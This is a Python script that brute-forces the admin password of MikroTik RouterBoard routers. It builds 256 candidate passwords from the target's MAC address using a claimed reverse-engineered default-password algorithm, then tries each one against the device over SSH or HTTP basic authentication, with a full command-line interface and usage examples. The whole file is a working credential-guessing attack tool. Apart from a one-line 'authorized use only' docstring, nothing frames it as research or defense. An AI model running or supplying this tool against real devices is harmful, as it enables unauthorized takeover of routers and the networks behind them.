""" MikroTik RouterBoard Targeted Password Brute Force Based on reverse engineered algorithm analysis: - Only tries 256 possible passwords (one per MAC[0] value) - Assumes 0xD0 and 0xFF are fixed constants - Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3] - Takes ~2-5 minutes instead of thousands of years! Algorithm: PWD[0] = MAC[0] XOR 0xD0 PWD[1] = MAC[1] PWD[2] = NOT(MAC[2]) PWD[3] = 0xFF USAGE: Only use on devices you own or have authorization to access. """ import sys import time import argparse class MikroTikTargetedBruteForce: """Targeted brute force for MikroTik passwords.""" def __init__(self, mac_address, host, port=22, use_http=False, timeout=5): """ Initialize the targeted brute force. Args: mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC") host (str): IP address of device port (int): Port (22 for SSH, 80 for HTTP) use_http (bool): Use HTTP instead of SSH timeout (int): Connection timeout in seconds """ self.mac_address = mac_address.upper() self.host = host self.port = port self.use_http = use_http self.timeout = timeout self.username = "admin" self.attempts = 0 self.found_password = None def parse_mac(self, mac_string): """Parse MAC address string into bytes.""" parts = mac_string.upper().split(":") if len(parts) != 6: raise ValueError(f"Invalid MAC address: {mac_string}") try: return [int(part, 16) for part in parts] except ValueError: raise ValueError(f"Invalid MAC address format: {mac_string}") def generate_password_for_mac_byte_0(self, mac_byte_0): """ Generate password for a specific MAC[0] value. Args: mac_byte_0 (int): Value for MAC[0] (0-255) Returns: str: Password in format "xxxx-xxxx" """ # Use actual MAC bytes for 1-3 mac_bytes = self.parse_mac(self.mac_address) b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3] # But vary b0 for brute forcing pwd_byte_0 = mac_byte_0 ^ 0xD0 pwd_byte_1 = b1 pwd_byte_2 = (~b2) & 0xFF # NOT operation pwd_byte_3 = 0xFF hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}" return f"{hex_string[:4]}-{hex_string[4:]}" def try_password_ssh(self, password): """Try connecting via SSH.""" try: import paramiko except ImportError: print("Error: paramiko not installed. Install with: pip install paramiko") return False try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect( self.host, port=self.port, username=self.username, password=password, timeout=self.timeout, allow_agent=False, look_for_keys=False, ) client.close() return True except paramiko.AuthenticationException: return False except Exception: return False def try_password_http(self, password): """Try connecting via HTTP.""" try: import requests from requests.auth import HTTPBasicAuth except ImportError: print("Error: requests not installed. Install with: pip install requests") return False try: response = requests.get( f"http://{self.host}:{self.port}/", auth=HTTPBasicAuth(self.username, password), timeout=self.timeout, ) return response.status_code == 200 except Exception: return False def try_password(self, password): """Try a password.""" if self.use_http: return self.try_password_http(password) else: return self.try_password_ssh(password) def brute_force(self): """Run the targeted brute force (256 attempts).""" print("MikroTik Targeted Password Brute Force") print("=" * 50) print() print(f"MAC Address: {self.mac_address}") print(f"Target: {self.host}:{self.port}") print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}") print() print("Algorithm:") print(" PWD[0] = MAC[0] XOR 0xD0") print(" PWD[1] = MAC[1]") print(" PWD[2] = NOT(MAC[2])") print(" PWD[3] = 0xFF") print() print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...") print() mac_bytes = self.parse_mac(self.mac_address) start_time = time.time() for mac_byte_0 in range(256): password = self.generate_password_for_mac_byte_0(mac_byte_0) self.attempts += 1 if self.attempts % 32 == 1 or self.attempts == 1: elapsed = time.time() - start_time rate = self.attempts / elapsed if elapsed > 0 else 0 print( f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - " f"Trying: {password}" ) if self.try_password(password): elapsed = time.time() - start_time print() print("=" * 50) print(f"[+] SUCCESS! Password found!") print(f"[+] Password: {password}") print(f"[+] Total attempts: {self.attempts}") print(f"[+] Time elapsed: {elapsed:.2f} seconds") print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second") print("=" * 50) self.found_password = password return password elapsed = time.time() - start_time print() print("=" * 50) print("[-] Brute force complete. Password not found.") print(f"[-] This means:") print(f" 1. The constants 0xD0 or 0xFF might not be fixed") print(f" 2. The algorithm might be different") print(f" 3. Or the device might have a different password algorithm") print(f"[*] Total attempts: {self.attempts}/256") print(f"[*] Time elapsed: {elapsed:.2f} seconds") print("=" * 50) return None def main(): """Main entry point.""" parser = argparse.ArgumentParser( description="MikroTik Targeted Password Brute Force (256 attempts)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python script.py 18:FD:74:F9:04:FC 192.168.88.1 python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80 python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222 """, ) parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)") parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)") parser.add_argument( "--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)" ) parser.add_argument( "--method", choices=["ssh", "http"], default="ssh", help="Connection method (default: ssh)", ) parser.add_argument( "--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)" ) args = parser.parse_args() # Validate MAC address try: brute_forcer = MikroTikTargetedBruteForce( args.mac, args.host, port=args.port, use_http=(args.method == "http"), timeout=args.timeout, ) except ValueError as e: print(f"Error: {e}") sys.exit(1) # Run brute force password = brute_forcer.brute_force() if password: sys.exit(0) else: sys.exit(1) if __name__ == "__main__": main()